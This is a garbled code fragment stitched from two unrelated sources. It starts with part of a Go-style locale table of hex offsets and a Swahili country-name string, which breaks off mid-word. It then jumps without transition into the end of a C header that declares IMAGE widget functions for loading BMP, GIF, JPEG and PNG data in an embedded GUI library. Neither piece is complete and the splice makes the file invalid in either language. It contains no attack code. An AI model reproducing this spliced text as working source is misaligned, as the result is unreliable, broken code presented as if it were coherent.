			0x0309, 0x030e, 0x0316, 0x0316, 0x031f, 0x0326, 0x032d, 0x032d,
			0x0337, 0x0351, 0x0356, 0x035b, 0x0363, 0x0369, 0x0369, 0x0371,
			0x0376, 0x037d, 0x0384, 0x038e, 0x0396, 0x039f, 0x03a5, 0x03b9,
			// Entry 80 - BF
			0x03c6, 0x03d3, 0x03d9, 0x03e6, 0x03f0, 0x03f6, 0x03fd, 0x0408,
			0x0415, 0x041d, 0x0424, 0x042b, 0x0433, 0x043d, 0x0444, 0x0449,
			0x044f, 0x0455, 0x045c, 0x045c, 0x045c, 0x0466, 0x0474, 0x047e,
			0x0483, 0x048b, 0x0493, 0x0493, 0x04a7, 0x04b1, 0x04bb, 0x04c5,
			0x04ca, 0x04d7, 0x04df, 0x04e6, 0x04ec, 0x04f3, 0x04fb, 0x0502,
			0x0513, 0x0519, 0x0527, 0x0530, 0x0539, 0x0541, 0x0548, 0x054e,
			0x0553, 0x0557, 0x0565, 0x056a, 0x0570, 0x0575, 0x0586, 0x0597,
			0x059f, 0x05a8, 0x05af, 0x05c5, 0x05ce, 0x05d8, 0x05f2, 0x05fb,
			// Entry C0 - FF
			0x05ff, 0x0608, 0x060e, 0x060e, 0x0616, 0x061d, 0x061d, 0x0629,
			0x062f, 0x0636, 0x0644, 0x064b, 0x0652, 0x0658, 0x0660, 0x066b,
			0x0673, 0x0673, 0x067b, 0x0685, 0x068f, 0x0696, 0x069d, 0x06a5,
			0x06a5, 0x06ba, 0x06c8, 0x06c8, 0x06ce, 0x06d7, 0x06d7, 0x06ee,
			0x06f3, 0x06f3, 0x06f7, 0x0700, 0x070c, 0x0713, 0x071f, 0x072c,
			0x0732, 0x0737, 0x073c, 0x0750, 0x0756, 0x075e, 0x0766, 0x076c,
			0x0772, 0x0772, 0x0789, 0x0791, 0x079c, 0x07aa, 0x07c3, 0x07cf,
			0x07e5, 0x07fa, 0x0802, 0x0809, 0x081a, 0x081f, 0x081f, 0x0824,
			// Entry 100 - 13F
			0x082b, 0x083d, 0x0842, 0x084a,
		},
	},
	{ // ki
		"AndoraFalme za KiarabuAfuganistaniAntigua na BarbudaAnguillaAlbaniaArmen" +
			"iaAntili za UholanziAngolaAjentinaSamoa ya MarekaniAustriaAustraliaA" +
			"rubaAzabajaniBosnia na HezegovinaBabadosiBangladeshiUbelgijiBukinafa" +
			"soBulgariaBahareniMburundiBeniniBermudaBr


*************************
*/
void IMAGE_SetBitmap(IMAGE_Handle hWin, const GUI_BITMAP * pBitmap);
void IMAGE_SetBMP   (IMAGE_Handle hObj, const void * pData, U32 FileSize);
void IMAGE_SetBMPEx (IMAGE_Handle hObj, GUI_GET_DATA_FUNC * pfGetData, void * pVoid);
void IMAGE_SetDTA   (IMAGE_Handle hObj, const void * pData, U32 FileSize);
void IMAGE_SetDTAEx (IMAGE_Handle hObj, GUI_GET_DATA_FUNC * pfGetData, void * pVoid);
void IMAGE_SetGIF   (IMAGE_Handle hObj, const void * pData, U32 FileSize);
void IMAGE_SetGIFEx (IMAGE_Handle hObj, GUI_GET_DATA_FUNC * pfGetData, void * pVoid);
void IMAGE_SetJPEG  (IMAGE_Handle hObj, const void * pData, U32 FileSize);
void IMAGE_SetJPEGEx(IMAGE_Handle hObj, GUI_GET_DATA_FUNC * pfGetData, void * pVoid);
void IMAGE_SetPNG   (IMAGE_Handle hObj, const void * pData, U32 FileSize);
void IMAGE_SetPNGEx (IMAGE_Handle hObj, GUI_GET_DATA_FUNC * pfGetData, void * pVoid);

#if defined(__cplusplus)
  }
#endif

#endif // GUI_WINSUPPORT
#endif // IMAGE_H

/*************************** End of file ****************************/